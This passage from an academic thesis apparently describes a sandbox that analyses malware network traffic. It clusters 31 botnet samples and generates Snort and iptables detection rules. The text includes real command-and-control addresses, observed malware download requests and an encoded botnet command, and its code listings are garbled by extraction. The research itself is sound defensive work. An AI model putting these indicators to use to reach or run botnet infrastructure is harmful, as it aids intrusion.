| ( FloodDrop , _ ) −> FloodDrop
| ( _ , FloodDrop ) −> FloodDrop
| ( Add_ch i ld xl , Add_ch i ld r ) −> Add_ch i ld ( un ion x l r )
| ( Add_ch i ld _ , _ ) −> x
| ( _ , Add_ch i ld _ ) −> y
| ( Accept , _ ) | ( _ , Accept ) −> Accept
(∗ need t o do some th ing t o p r e v e n t t h i s r u l e ∗ )
| ( New_rule _ , New_rule _ ) −> a s s e r t ( f a l s e )
| ( New_rule _ , _ ) −> x
| ( _ , New_rule _ ) −> y
| ( Buf f e r , _ ) | ( _ , Bu f f e r ) −> Bu f f e r
| _ −> Drop
l e t rec r e c _ r e d u c e c u r r _ d s d s _ s e t =
i f i s _emp ty d s _ s e t then c u r r _ d s
e l s e
l e t one_ds = choose d s _ s e t in
r e c _ r e d u c e ( r e du c e_ coup l e c u r r _ d s one_ds ) ( remove d s _ s e t one_ds )
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l e t r educe d s s e t = r e c _ r e d u c e Drop d s _ s e t
First, we present how these definitions validate the property defined in Definition (Section 2.2.2.5).
Then, we show how these definitions solve the New_rule loop problem.
The property the “reduce” function needs to verify is ∀X ∈℘(℘(DS)),reduce({reduce(x),x∈X}) =
reduce(
S
x∈X x) Taking apart Add_child decisions, and simultaneousNew_rule decisions, reduce_couple
implements a relational order in the decision set. Therefore, reduce can be seen as choosing the maximum
element on the set. Taking DS the set of decisions without Add_child and New_rule, we have ∀X ∈
℘(℘(DS)),sup{sup x,x∈X}= sup{Sx∈X x}, which validates the property defined in Definition (Section
2.2.2.5). If we consider a set where an Add_child decision appears with FloodDrop decisions, the result
will always be FloodDrop. Without FloodDrop, the decision will be in both cases the union of all
the sets in the Add_child decisions, which validates the property too. Finally handling two New_rule
decisions can be done by desiging the append operation on two rules. We have not yet investigated this
possibility and that’s why the assertion has been written. This study is left for future work too.
The solution to the New_rule loop problem resides in the Bu f f er12, New_rule and Accept rules.
The Accept decision has priority over New_rule. Therefore once L1 answers Accept and L2 answers
New_rule, the reduce function takes the wanted Accept decision. The Bu f f er decision aims at not
disturbing the L2,L4,L5 decisions. These MI takes the Bu f f er decision to express they are waiting
information to perform protocol identification. This decision has lower priority than New_rule and
therefore does not prevent other MI-s to create the computing of New_rule-s.
We have in this section detailed the main principles of the implementation of our dynamic analysis
paradigm. The next section explains the experimentation performed on 31 malware samples.
4.3 Experimentation
After describing the platform where the presented software has been installed, this section describes the
results obtained by the dynamic analysis of 31 malwares.
4.3.1 Description of the Platform
As depicted in Figure 4.6 the platform is implemented in a single computer using a single real network
interface. The hosts executing the malware and the honeypot are implemented by virtual machines and
are interconnected by means of a software bridge [14] and associated Tap virtual interfaces [46]. This
interconnection technology has been chosen because it integrates very well with Netfilter, and therefore
with Luth. We have used the Kernel-based Virtual Machine (KVM) [18] for three reasons:
• Possibility to interconnect them using Tap devices and the previously mentioned software bridge.
• Possibility to install Windows and Linux Operating System on the virtual machine. For example
we did not manage to install our Windows image using Xen.
• The use of Intel-VT or AMD-V virtualization technology. Indeed, some malware sample stopped
their execution on the similar Qemu [32] software, both in emulation and accelerated mode (using
12The reader should not mistake the decisions taken by Luth, with the decisions output to Netfilter. For example New_rule
decisions generates a NF_DROP, and reboots all the experiment. Similarly a Bu f f er decision generates a NF_ACCEPT.
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Figure 4.6: Platform to perform the dynamic monitoring of malware communications.
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kqemu). We have not identified if this was due to a bug or to the fact that the malware detected the
emulated environment. However, this constation was sufficient to choose KVM over Qemu.
The KVM version we use, 0.11.0, provides a very unstable snapshot feature. Therefore we implement
the reinitializations of virtual machines by using two hard-drive images: an initial safe one and a current
one. When rebooting the experiment, a copy of the initial safe image overrides the previous current
image, which reinitializes the state of the virtual machine.
The Windows operating system is a XP-SP1. To implement the automatic execution of the malware,
we install in this system a specially developed server, automatically launched at boot time. This server
writes a binary sent by a client, in this case the software implementing the dynamic analysis, into a
purposely created new file, and then executes it. The program implementing the experiment, which we
call sandbox, drives among others Luth’s reconfiguration. Once Luth is (re-) configured and launched,
the sandbox sends the malware to analyze to the previously described server and waits for packets to
inspect.
The honeypot’s operating system is a Debian GNU/Linux 4.0. Both a Nepenthes instance and another
specially developed server running on port 40000 are executed by the honeypot. This server accepts
connections, and reads all the bytes sent over TCP until the connection is closed by the client. An
iptables rule blocks all the request answers from the source port 40001 to implement the previously
mentioned pit13. (NR3 in Listing 4.1)
The mac addresses of the virtual machine are configured with the option given during their process
creation. The mapping between the IPv4 address, and mac addresses, both virtual and real, are written
in /etc/ethers of the host machine. The host computer has a Debian GNU/Linux 5.0 as operating system.
It uses the dnsmasq [10] software as DHCP and DNS server. Both virtual machines are configured to
use the DHCP protocol. The reader should notice that the DHCP messages are not monitored by Luth,
which gives the opportunity to the malware to do whatever it wants there. Here again the development
of DHCP MI is left for future work.
The software running the experiment, i.e. Luth, Luth reconfiguration, virtual machines executions
and reboots, which we called sandbox, runs with root privileges. The virtual machines are executed using
a specially created account with limited rights. The sandbox program stops the experiment by just killing
the virtual machine processes, and reboots them using “fork” and “exec” system calls.
We deployed this environment in 5 computers in the laasnetexp platform in our laboratory, which
presents the same characteristics depicted in Figure 2.11 (Section 2.3.2.1).
4.3.2 Results
This section describes the first two different results extracted from the data obtained with the latter
platform. First, the manipulation of the recursively computed Luth rules enables us to classify malware.
We analyzed 31 different malware downloaded from the 3 Nepenthes honeypot installed in 3 servers with
3 different IPv4 public addresses in our laboratory during one month between September and October
2009. During this period, these 3 servers downloaded binaries having 31 different MD5 sum hash14.
We identify that among the 31 malware having a different MD5 sum hash, 27 belongs to 7 different
botnets, the others being either:
• corrupted binaries,
13This aims at blocking the RST segments the TCP stack of the operating system will answer to any incoming segment to
port 40001. This situation is analogous to the one described in Section 3.2.1.1
14We don’t take into account the number of times a malware having the same MD5sum has been downloaded.
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• quite nihilistic malware that just tries to propagate in the Internet like the blaster worm,
• member of inactive botnets.
Then, aiming to shutdown these botnets and identifying other hosts belonging to these ones, we
show a way to translate part of Luth rules, into a set of a configuration of monolithic protocol layerings.
Once this translation done, we provide scripts to configure less expressive but faster midpoint inspection
devices like iptables [26] and snort [90].
Finally, we show how to use the dumps produced capturing the information of the dynamic analysis
to evaluate the efficiency of already developed intrusion detection systems. To do so, we show how we
mix a traffic dump present in the METROSEC database [192] available in our laboratory with different
malware dumps.
4.3.2.1 Malware Clustering
The 31 malware samples are sequentially analyzed by the platform installed in four different hosts in our
laboratory. Using the four different hosts, we simultaneously analyze 4 malware. The stopping of one
analysis is done manually. Indeed, we periodically (about twice or three times a week) connect to each
of the hosts to see how one analysis is performing15. Once we subjectively think one malware has given
sufficient information, we stop the iteration, and start the analysis of the next malware. When stopping
the analysis, among others the sandbox dumps the last computed rule in a file for further analysis. In this
section we show how we use these rules to cluster malware.
The idea behind the clustering is to compare the inspection trees depicted in the dumped rule of
each malware analysis. Indeed, the differences between all the rules reside in the dynamically added
layerings. Therefore, if there is similarity between these new layerings, we consider the related malware
to be similar.
To compare the inspection trees, we decide to first extract the dynamically computed part of the tree.
Indeed, all the trees share the same initial rule (R and S nodes in Figure 4.7) and therefore, no useful
information is present there. Then, we extract the paths of these dynamic trees (R and D nodes in Figure
4.7) by means of the paths function defined in [59]. These two operations are summarized in the Figure
4.7
We choose to cluster together the rules having a non empty intersection between the paths of the
dynamically computed subtree. The rule representing a cluster is initially the one resulted from amalware
execution. Then it becomes the union of its content with the ones of other rules having similar parts. The
operation performed on two dynamic paths having a non empty intersection is depicted in the Figure 4.8.
The Figure 4.9 depicts the operation on two dynamic paths having an empty intersection.
The algorithm can be summarized as depicted in Listing 4.9.
Listing 4.9: Clustering Algorithm
l e t rec c l u s t e r _ o n e malware malware_pa th r em a i n i n g _ c l u s t e r c l u s t e r s =
i f i s _emp ty r em a i n i n g _ c l u s t e r then
a p p e n d _ c l u s t e r c l u s t e r s ( c r e a t e _ c l u s t e r malware )
e l s e
l e t c h o o s e d _ c l u s t e r = choose r em a i n i n g _ c l u s t e r in
l e t p a t h _ c l u s t e r = g e t _ c l u s t e r _ p a t h s c h o o s e d _ c l u s t e r in
l e t i n t e r s = i n t e r s e c t ma lware_pa th p a t h _ c l u s t e r in
15This situation is indeed quite well illustrated by the comic in Figure 4.1.
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Figure 4.7: Processing dynamically computed layerings from the inspection tree.
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i f i s _emp ty i n t e r s then
c l u s t e r _ o n e malware malware_pa th
( remove c h o o s e d _ c l u s t e r r em a i n i n g _ c l u s t e r ) c l u s t e r s
e l s e
l e t n ew_ c l u s t e r _ p a t h s = j o i n malware_pa th p a t h _ c l u s t e r in
l e t c l u s t e r s _w i t h o u t _ c h o o s e d = remove c h o o s e d _ c l u s t e r c l u s t e r s in
l e t new_choo s ed_ c l u s t e r =
append_ma lwa r e_ c l u s t e r c l u s t e r s _w i t h o u t _ c h o o s e d
malware n ew_ c l u s t e r _ p a t h s
in
append n ew_ c l u s t e r _ p a t h s n ew_choo s ed_ c l u s t e r ; ;
l e t rec c l u s t e r ma lwa re_ se t c l =
i f i s _emp ty ma lwa re_ se t then c l
e l s e
l e t one_malware = choose ma lwa re_ se t in
l e t malware_pa th = ge t _ma lwa r e_pa t h s one_malware in
l e t n c l u s t e r = c l u s t e r _ o n e one_malware malware_pa th
c l c l
in
c l u s t e r ( remove one_malware ma lwa re_ se t ) n c l u s t e r ; ;
This algorithm groups the malware, we represent by their MD5sum, into nine different clusters:
B0: 5ae700c1dffb00cef492844a4db6cd69, 879c6366be62dbc6492760a4d54d2c7b,
8a3f15b1be9b025bf8b3161939801a00, a894e6640a6e45d36fa7e7c1ba5d7a25,
b7896907b97667eb1c9b307033e060fd, da02f21aadc011fb4d4528f7da3d3744,
f97f1f583474f8cfb754aa449274047f, 1a2c0e6130850f8fd9b9b5309413cd00,
B1: 89041edc1c3d0b14b231575602ae1570,
B2: 8128405d8c32a75bab02a1f0d125d11c,
B3: 7dc73bfa4d78284155dd5101991eeb34,
B4: 1d419d615dbe5a238bbaa569b3829a23,
B5: 013a5ba10e3fc8a039b045530381d957,
B6: cc88f4f016cb52cceb6d9acfe271e233,
B7: 161651c69b69a2cd40784772f08cbd39, de2a8e3f8e782d0a4847446d6bb39601,
aa03030d91d6931258190ba388685d85, 524bc0f75c12683f73ce0ceed70faab8,
524bc0f75c12683f73ce0ceed70faab8, 25930784ca2b8eed4d4c0461225c4a32,
B8: 14a09a48ad23fe0ea5a180bee8cb750a, fe234e9bd7bfcf2c4eb66303fa5abc4e,
fd28c5e1c38caa35bf5e1987e6167f4c, f4a200f7818dfb166b9a3d238ac55a2d,
e269d0462eb2b0b70d5e64dcd7c676cd, df51e3310ef609e908a6b487a28ac068,
bb39f29fad85db12d9cf7195da0e1bfe, 833cda5b5bef5989deb6bf57c557ce30,
7b213ea370cc70aa4a72e6f16060aa17, 697f001bc330ab483d77a707cd40c8d9,
2fa0e36b36382b74e6e6a437ad664a80,
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The B0 group represents the malware that has not any dynamically computed layering. In other
words, these malware neither speak the IRC, nor the HTTP dialects the IrcId and Htt pId MI would
have recognized during the different iterations. As depicted by the analysis reported by the Virus
Total website (the links can be found in Appendix 4), the 1a2c0e6130850f8fd9b9b5309413cd00 is
recognized as the Sasser worm, the 5ae700c1dffb00cef492844a4db6cd69, as the Blaster worm, and
8a3f15b1be9b025bf8b3161939801a00 as the Dabber worm. These worms just scan and try to prop-
agate on other systems targeting vulnerabilities on SMB services, or checking the presence for trojan
horses at predefined ports, without waiting for orders. This explains why they do not speak among
others, neither IRC nor HTTP, and therefore why they belong to the B0 group. The other binaries be-
longing to the B0 group: a894e6640a6e45d36fa7e7c1ba5d7a25, da02f21aadc011fb4d4528f7da3d3744,
f97f1f583474f8cfb754aa449274047f, 879c6366be62dbc6492760a4d54d2c7b are incomplete versions
of some malware binary, obtained by an interrupted download done by the nepenthes honeypot. These
binaries are incomplete, do not execute correctly and are therefore harmless. Nevertheless, it is inter-
esting to see that among the different antivirus detection engines some detect them as viruses, when
others don’t. We could see that for example when analyzing da02f21aadc011fb4d4528f7da3d3744, 14
antiviruses rise false positives among 41. These results validate the ones described in [88]. Finally, the
b7896907b97667eb1c9b307033e060fd binary is surely part of a dismantled botnet using IRC Command
& Control channel. Indeed, the asked DNS resolution to one of the probable servers fails and therefore
the malware does nothing.
The parameters inside the dynamically created MI layerings involve IPv4 addresses, and TCP ports.
as illustrated by NMI in Listing 4.4. Therefore, even two NMI layerings having different IPv4 addresses
belonging to the same DNS label and the same destination TCP port are be considered as different.
However, making a DNS label point to different servers at different time can be useful for furtivity
and high availability reasons. Indeed, botnets are known to use different techniques grouped in the
generic term: "Fast-flux" which use the DNS protocol to improve their network’s furtivity and high
availability [182]. That’s the reason why we check manually, by using the DNS informations dumped
by the Dns MI, the corresponding between the IPv4 addresses and DNS labels in the different clusters.
We identify that 8128405d8c32a75bab02a1f0d125d11c (B3) and 013a5ba10e3fc8a039b045530381d957
(B5) refer to the same DNS label (DRD3H.com) on the same TCP port (6668) when speaking IRC.
Similarly 1d419d615dbe5a238bbaa569b3829a23 (B7) and the binaries in (B9) talk IRC to the same
DNS label (botz.noretards.com) in TCP port 65146. Therefore, if we consider the DNS label instead of
IPv4 addresses in the NMI, the algorithm creates 7 groups instead of 9.
We have shown in this section how we use the rules computed by our dynamic analysis scheme to
cluster malware. We group into nine different clusters the 31 malware to analyse. These clusters could
be more precise by developing more adapted MI, like:
• vulnerability identifications MI to differentiate Sasser, Baggle and Dabber worms from non work-
ing malware, or
• using DNS label in TPort parameter of NMI instead of IPv4 addresses.
We do think the reverse engineering of a malware is a necessary first step to have a deep understand-
ing of their behaviour. However, so that similar enough malware are not re-reverse engineered again, this
clustering scheme could be used. To do so, once the new malware is reverse-engineered, corresponding
ID MI should be developed in a Luth like framework. Then, by running the new malware sample in this
platform, the similarity with already developed malware can quite easily be evaluated. In this example,
by more or less developing 2 ID MI, (the IRC MI are indeed very similar), we have analysed all the
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malware collected during a 1 month malware collection on three different servers, without reverse engi-
neering any sample. The quite negligible effort to develop these MI16 seems profitable to us. One could
say this approach is useless because nowadays quite a lot of botnets use encyphered communications.
We have two arguments to balance the latter sentence:
• Some studies provide ways to detect encyphered communications without having to uncypher them
[75, 198]. Once this layering is identified, the following question rises: during the next iteration,
is it safe to let the malware use this channel in the Internet, even if Luth cannot decypher it ? This
can of behaviour could be configured by a layering like
( . . ) / Tcp / TPort / S t a t i s t i c a l l S SL I d (
n ew_ r u l e _ l a y e r i n g = ( . . ) / Tcp / TPort ( < p r ev i ou s > ) / Void )
This question makes us come back to the debate mentioned in the end of Section 4.1.3.3. Indeed,
if we take the example of malware belonging to the B8 group, once connected to the IRC server
having the address 72.10.172.2111 and TCP port 8080, the latter receives an order17 that makes
the malware connect twice to 67.215.1.206 address on TCP port 80 to download two binaries with
the requests:
– GET /rr2.exe HTTP/1.0\r\nHost: idc.info\r\n,
– GET /f4.exe HTTP/1.0\r\nHost: idc.info\r\n.
After the first of the two binaries is downloaded and executed, the server connects to the IRC server
67.43.236.67 on TCP port 1863. Without the dynamically computed Irc and Http layerings which
authorizes the latter communications, these behaviours would not have been accepted by Luth.
Without authorizing them, the quantity of information extracted by the dynamic analysis would
have been reduced to the identification of the first IRC server on address 72.10.172.2111 and TCP
port 8080. However, even if reduced, for clustering purposes, the identification of this server is
sufficient to differentiate B8 from others groups. Finally, we do think the configuration of the
ID rules is analogous to the calibration of the ordinate of the honeypots classification depicted in
Figure 1.3. Indeed the configuration of the interaction can be adapted to some experiments while
being insufficient for the goals aimed by other ones.
• As depicted in the work done by Chiang et.al in [98], the key used to encypher communications can
be extracted from the malware binary. Moreover, they motivate the automation of this extraction
in their perspectives. Therefore, once a new malware has been reverse engineered, a program to
automate key extraction could be developed. Then, using this program, the key could be extracted
and put as parameter of an MI that takes cyphered information, and outputs decyphered data to
its children. A new and similar enough malware’s network communications could therefore be
analyzed without being re-reverse engineered.
To sum up, we do think that this platform helps automate the malware analysis the same way Un-
packers, Debuggers, or other sandboxes do. Moreover, it is the first platform we are aware of to permit
the automation of malware network communication analysis. Moreover, the information extracted by
this experiment can help to automatically configure other midpoint inspection devices too.
16581 lines of OCaml code.
17fKFeOdJTJX2ItzDq5pPlEkOW+StGxKOwCOjgJEzwGxXIF4lJwmrnrI/40Lk2U1jg8
/dyyq27LdDsuXEmX0OWIVnKQskYWhFgByfgP1dQBRfIN5tE9+RjpLv50ZsB4Mjg/
1nT+JyDJFB4qWEtUcOqJEPmzo1WI1AePlgz68A8h.
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4.3.2.2 Signature Generation
In this section we describe how we use the dynamically computed layerings to configure two midpoint
inspection devices: Netfilter and Snort. To do so, the problem consists in translating a Luth rule, into
the language used to configure an already existing midpoint inspection device. As depicted in Section
2.1.2, such languages are based on the configuration of a set of monolitic protocol layerings. We first
describe how compute these translations by formalizing them as a Tree pattern matching problems. Then,
we evaluate the rules generated to configure the Snort software by performing an offline analysis. This
analysis is performed on a trafic dump containing the network traces of five different malware mixed into
a dump containing all the Internet conversations performed by the computers in our laboratory during
one hour. The results show that the alarms output by Snort correctly detect the computers infected by the
five malware present in the network dump.
Two problems need to be solved when trying to translate a rule in Luth into a rule in the language to
configure other midpoint inspection devices:
Problem 3 To compute the translation, the following two questions need to be answered:
1. Is the translation possible ?
2. How to compute possible translation ?
This section does not address these problems generally, but provides a partial solution based on pattern
matching in Trees [134]. Let us first remind the definition of the pattern matching problems.
As depicted in [134], the problems needs first to define a finite ranked alphabet Σ. Σ contains some
elements of rank:
• 0, that can be seen as variables, like a,
• q> 0, that can be seen as functions with q arguments, i.e a(arg1, ...,argq).
Once this alphabet is defined, the set S of Sigma-terms is introduced.
Definition 9 Let S be the set Sigma-terms defined like this:
• ∀b ∈ Σ of rank 0, b is a Σ-term.
• If a is a symbol of rank q in Σ, then a(t1, ..., tq) is a Σ-term provided each of the ti is.
• Nothing else is a Σ-term.
These Σ-terms represent labeled ordered trees. For example a(a(b,b),b) represents the tree depicted
in Figure 4.10. Once the trees are defined, we need a language to express patterns. To do so, the ν
symbol is added to the Σ alphabet. Then, the Sν is defined as set of Σ∪{ν}-terms. The ν symbol is
used to express the "unknown parts" of the pattern. For example the pattern a(ν,b) matches the tree
a(a(b,b),b), at the nodes:
• a(a(b,b),b),ν= a(b,b) and,
• a(b,b),ν= b.
Once we have S and Sν, the matching problem can be defined.
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Figure 4.10: Representation of the a(a(b,b),b) Σ-term.
Definition 10 A matching problem consists of a finite set of patterns p1, ..., pk ∈ Sν and a subject tree
t ∈ S. A solution to a matching problem is a list of all the pairs (n,i), where n is a node in t and pi matches
at n.
Let us call match_pattern an algorithm solving this problem. The previous example can be summa-
rized like that: match_pattern({a(ν,b)},a(a(b,b),b)) = [(a(a(b,b),b),1);(a(b,b),1)].
We aim at providing a specific solution to the problem of the translation of a Luth rules by:
• First, translating a Luth rule into a Σ-term,
• Then, choosing the patterns of Luth rules that we want to translate into the configuration of a set
of monolithic protocol layerings.
The case study we choose to illustrate this functionality is the creation of a Network Virus Detection
system, a particular case of a Network Intrusion Detection System (NIDS). We do so by translating
the previously mentioned clustered dynamically computed layering, into a file that configures the Snort
NIDS. To show the genericity of the approach, we translate these rules into a list of iptables rules as an
illustrative example.
Once the clustering process described in Section 4.3.2.1 is done, we have a set of clusters, identified
by a set of dynamically computed layerings. We use in the following lines the same labels given to the
clusters as in the previous section.
To obtain a Σ-term we first group into a tree, DynTree, the set of dynamically computed layerings by
means of the join function depicted in Section 2.2.2.5. Then, we define that an MI present in DynTree
is of rank q=m+n, m being the number of arguments of the MI, and n the number of its children. The
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order at which the arguments of an MI are put is the same as the one they are listed in the manual.
Both operations are depicted in Figure 4.11. The translation of the boolean expressions present, among
others, in the arguments cl_addr,sr_addr,cl_port and sr_port of the TPort MI, requires a special atten-
tion. The configuration languages of Snort and Iptables do not support expressions like ((192.168.0.1 or
192.168.4.3) && (192.168.0.0/24)). Said otherwise, rules like
• iptables -A OUTPUT -s ((192.168.0.1 or 192.168.4.3) && (192.168.0.0/24)) -j DROP, or
• alert tcp ((192.168.0.1 or 192.168.4.3) && (192.168.0.0/24)) any -> any any.
are invalid. That’s why we need to avoid such kind of situations during our translations. To
be able to express by means of a pattern that we do not want to match boolean expressions,
we translate the boolean expressions into Σ-terms too, following the definition depicted in Sec-
tion 4.1.3.2. For example (192.168.0.1 or 192.168.4.3) && (192.168.0.0/24) is translated into
And(Val(192.168.0.0/24),Or(Val(192.168.4.3),Val(192.168.0.1)))).
Using this scheme, the tree18 :
TPort ( s r _ p o r t =Val Any , d s _ p o r t =Val Any ,
c l _ a d d r =Val Any , s r _ a d d r =Val Any ,
do_ f r a g =yes ) /
[ CSend ( tm=None , do_ f r a g =yes ) |
Http ( tm=None , ch e ck_ho s t = g e n e r i c ) ]
is translated into the Σ-term:
TPort ( s r _ p o r t ( Val (Any ) ) , d s _ p o r t ( Val (Any ) ) ,
c l _ a d d r ( Val (Any ) ) , s r _ a d d r ( Val (Any ) ) , do_ f r a g ( yes ) ,
CSend ( tm ( None ) , do_ f r a g ( yes ) ) ,
Http ( tm ( None ) , c h e ck_ho s t ( g e n e r i c ) ) )
Taking into account the syntax of the Snort and iptables commands, we choose to look for the fol-
lowing patterns in the computing tree:
P1: TPort ( s r _ p o r t ( Val ( v ) ) , d s _ p o r t ( Val ( v ) ) ,
c l _ a d d r ( Val ( v ) ) , s r _ a d d r ( Val ( v ) ) , d o_ f r a g ( v ) ,
I r c ( v , v ) )
P2: TPort ( s r _ p o r t ( Val ( v ) ) , d s _ p o r t ( Val ( v ) ) ,
c l _ a d d r ( Val ( v ) ) , s r _ a d d r ( Val ( v ) ) , d o_ f r a g ( v ) ,
Http ( v , v ) )
The reader should notice that the patterns Val(v) permits us to avoid matching the boolean expres-
sions we mentioned earlier. The last thing to do, is to translate the list of (n, i) couples, output by
match_algorithm, i.e matched = match_algorithm({P1,P2},ToΣ-term(DynTree)).
The answer to the first question of the Problem 3 is done that way: ifmatched is empty the translation
is not possible. The answer to the second question, is done by translating the nodes matched by the
patterns P1 and P2 contained in the listmatched. To do so, we extract the destination address,< daddr>,
18It should be noticed that these trees are the abstract syntax trees computed by the interpreter. Indeed the user do not
directly write TPort(sr_port = Val Any), but TPort(sr_port = ∗). The interpreter then translates TPort(sr_port = ∗) into
TPort(sr_port =Val Any).
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Figure 4.11: Computing the Σ− term of the computed trees identifying clusters.
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and the destination port, < dport >, of the TPort MI in the nodes present in the matched list. Then,
we assign the string variable, "C&C" like "Command & Control" to the nodes matched by P1, i.e of the
form (n,1) in matched, and "Dw" like "Download", by the nodes matched by P2, i.e of the form (n,2) in
matched. Finally the variable "Bx" contains the labels assigned to the dynamically computed layering.
The iptables and Snort rules are finally computed using the following format:
# i p t a b l e s f o rma t
i p t a b l e s − t f i l t e r −I IPS 1 −d <addr > −p t c p −−dpo r t <dpo r t > \
− j LOG −−log−p r e f i x " Bo tne t <Bx>: <C&C |Dw>"
i p t a b l e s − t f i l t e r −I IPS 1 −d <addr > −p t c p −−dpo r t <dpo r t > \
− j DROP
and
# s n o r t f o rma t
a l e r t t c p any any −> <daddr > <dpo r t > \
(msg : " Bo tne t <Bx>: <C&C |Dw>" ; c l a s s t y p e : t r o j a n−a c t i v i t y ; s i d : 0 ; r ev : 1 ; )
Even if interesting, the tree pattern matching solution does not give a correct solution to the Prob-
lem 3. For example, let us go back to the problem of translating the (192.168.0.1 or 192.168.4.3) &&
(192.168.0.0/24) expression that can be present in for example the TPort MI. We said that as the syn-
tax of snort and Iptables do not give the possibility to express such a boolean expressions, we don’t
translate such a rule. However, when evaluating the latter expression, we can see that ((192.168.0.1 or
192.168.4.3)&& (192.168.0.0/24))' 192.168.0.1 and that therefore the expression could be translated
into the Σ-term Val (192.168.0.1) which can be translated into Snort and Iptables rules the algorithm
based on pattern matching. The same way, the reader should notice that the rule:
TPort / ( c l \ _addr =192 . 1 68 . 0 . 1 o r 1 9 2 . 1 6 8 . 4 . 3 ) / I r c
could be translated, into the following snort rule:
a l e r t t c p 1 9 2 . 1 6 8 . 0 . 1 any −> any any \
(msg : " Bo tne t <Bx>: C&C" ; c l a s s t y p e : t r o j a n−a c t i v i t y ; s i d : 0 ; r ev : 1 ; )
a l e r t t c p 1 9 2 . 1 6 8 . 4 . 3 any −> any any \
(msg : " Bo tne t <Bx>: C&C" ; c l a s s t y p e : t r o j a n−a c t i v i t y ; s i d : 0 ; r ev : 1 ; )
By this examples we show that solving the translation problem is more complicated than matching some
patterns in Luth’s inspection tree. However, even if the answer to the second item of the Problem 3 is
partial, the computed translations provide useful results.
We evaluate the automatically generated Snort rule by asking snort to analyze a network traffic dump.
We want this traffic dump to have both:
• traffic generated by some instance of the malware we analyzed, to evaluate if the rules correctly
detects malware19, and
• traffic generated by computers a-priori non infected by such malware, to evaluate if the rules do
not identify a-priori non infected hosts as infected20.
The traffic generated by some instance of the malware is available by means of the L2N MI used
during the dynamic analysis. Indeed, during each iteration of the analysis, a new dump is created by
19In other words the measure the false negative-s.
20In other words to measure the false positive-s.
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Trace Packet capture length Dump Size First packet’s time-stamp Last packet’s time-stamp
Laboratory 60B 481MB 2006-03-19 21:52:27 2006-03-19 22:52:25
MB2 All 309MB 2009-11-15 21:38:46 2009-11-17 8:42:19
MB6 All 2.9KB 2009-11-27 9:57:29 2009-11-27 9:58:54
MB7 All 574MB 2009-10-23 3:53:32 2009-10-24 4:01:09
MB81 All 40MB 2009-11-19 21:30:12 2009-11-19 21:32:9
MB82 All 51MB 2009-12-15 4:41:39 2009-12-15 6:31:58
Trace name MD5sum of the malware that produced the trace
MB2 8128405d8c32a75bab02a1f0d125d11c
MB6 cc88f4f016cb52cceb6d9acfe271e233
MB7 aa03030d91d6931258190ba388685d85
MB81 833cda5b5bef5989deb6bf57c557ce30
MB82 fe234e9bd7bfcf2c4eb66303fa5abc4e
Figure 4.12: Different network traces used in the evaluation of the Snort rule.
this MI. We arbitrarily choose five different malware dumps to conduct our experiment. The traffic
generated by computers a-priori non infected by such malware is available by means of the network
captures done during the METROSEC project in our laboratory [192]. Among the different traces, some
dumps represent the activity of all the computers in our laboratory. The characteristics of the traces we
select are depicted in Figure 4.12.
The packet capture length shows the maximum size of the packets allowed to be captured in the
dump. As depicted in Figure 4.12 the Laboratory dump contains at most 60 byte of an observed packet.
However, the L2N MI chooses to dump the entire packet in the trace. That’s why the MB < i >, that
stands for Malware in Bi, dumps contain all the bytes of the packets.
To create a single realistic dump from all this dumps, we first need to modify the MB < i >
dumps. Indeed, given the configuration of our dynamic malware analysis, the packets from and to
the destination of the analyzed malware have the same mw_ip address (Figure 4.6) in the MB < i >
dumps. If we merge the dumps without changing these addresses, we can not for example differen-
tiate a host executing the 8128405d8c32a75bab02a1f0d125d11c malware from a host executing the
aa03030d91d6931258190ba388685d85 malware. Therefore, we provide a way to change the packets
having the mw_ip address as source or destination, into mw_ipi, and compute the different related check-
sums again. Another problems is related to the time-stamps. As depicted in Figure 4.12 the time-stamps
of all the dumps are separated in time. Therefore, to create a dump where malware are simultaneously
executed, we choose to shift the time stamps of theMB< i> so that the first packet ofMB< i> arrives
at shi f ti seconds after the first packet of the Laboratory dump. Finally, the last problem deals with the
packet capture length. We choose that the packets in the new dumps have at most the least capture length
of all the dumps, which in this case is 60 byte. We create a utility that makes all these modifications to a
traffic dump. That way we produce the dumps depicted in Figure 4.13.
Finally we merge the Laboratory, MB1′, MB2′, MB6′, MB7′, MB8′1 and MB8
′
2 dumps into a dump
named "snort_test", containing 18707296 packets, by means of the "mergepcap" utility available in the
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Trace name mw_ipi shi f ti (s)
MB2′ 200.0.0.1 60
MB6′ 200.0.0.2 120
MB7′ 200.0.0.3 180
MB8′1 200.0.0.4 100
MB8′2 200.0.0.5 80
Figure 4.13: Characteristics of the modifed network traces.
Botnet name Number of alerts IPv4 address
B2 3 200.0.0.1
B6 1 200.0.0.2
B7 908 ?(too much alarms to browse manually)
B8 19 200.0.0.5 (11), 200.0.0.4 (8)
Figure 4.14: Characteristics of the different alerts.
package provided by the "Wireshark" software [48]. Then, we execute the snort software configured with
the generated rule and obtain 931 alerts. The alerts are output in an log file, using the following format:
[**] [1:0:1] Botnet B8: C&C [**]
[Classification: A Network Trojan was detected] [Priority: 1]
03/19-21:53:50.155584 200.0.0.5:1032 -> 91.205.241.87:65146
TCP TTL:128 TOS:0x0 ID:126 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x641A939A Ack: 0xC513E9BF Win: 0xFD20 TcpLen: 20
Here we can identify that the 200.0.0.5 host rose the alarm "Botnet B8: C&C.".
We browse the 931 alerts using text processing utilities like "grep" [21] or "Emacs" [11] to obtain the
tabular depicted in Figure 4.14.
To verify the correction of all the alarms, we need to verify that all the alerts correctly identify the host
executing a malware. The number of alerts of B2, B6 and B8 are low enough to be inspected manually.
As depicted in Figure 4.15, the malware hosts are correctly identified. To verify that the 908 alerts
of B7 identify the 200.0.0.3 host, we produce a new dump, snort_test_prime, that merges Laboratory,
MB1′, MB2′, MB6′, MB8′1 and MB8
′
2 dumps. Said otherwise snort_test = snort_test_prime∪MB7′.
We perform the same previous analysis on snort_test_prime with the results depicted in Figure 4.15. As
depicted in the Figure 4.15, there are 0 alerts belonging to the B7 when analyzing snort_test_prime.
Therefore, we conclude that all the B7 alerts in snort_test correctly identify the host executing the
malware in MB7’, i.e the one with the 200.0.0.3 IPv4 address.
We have not understood yet the relation between the number of the alerts output by Snort and the
sequence of packets having the same session characteristics. We can say that an alert is not output
each time a TCP segment have the parameters described by the configured alert. Indeed, let us take
the example the rule that addresses B2 members by searching for sessions towards the TCP server on
address 193.198.49.137 and port 6668. This rule outputs 3 alarms. However, there are 10858 TCP
segments towards the "193.198.49.137" address on port 6668 as depicted by the output of the command
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Botnet name Number of alerts
B2 3
B6 1
B7 0
B8 19
Figure 4.15: Characteristics of the different alerts on snort_test_prime.
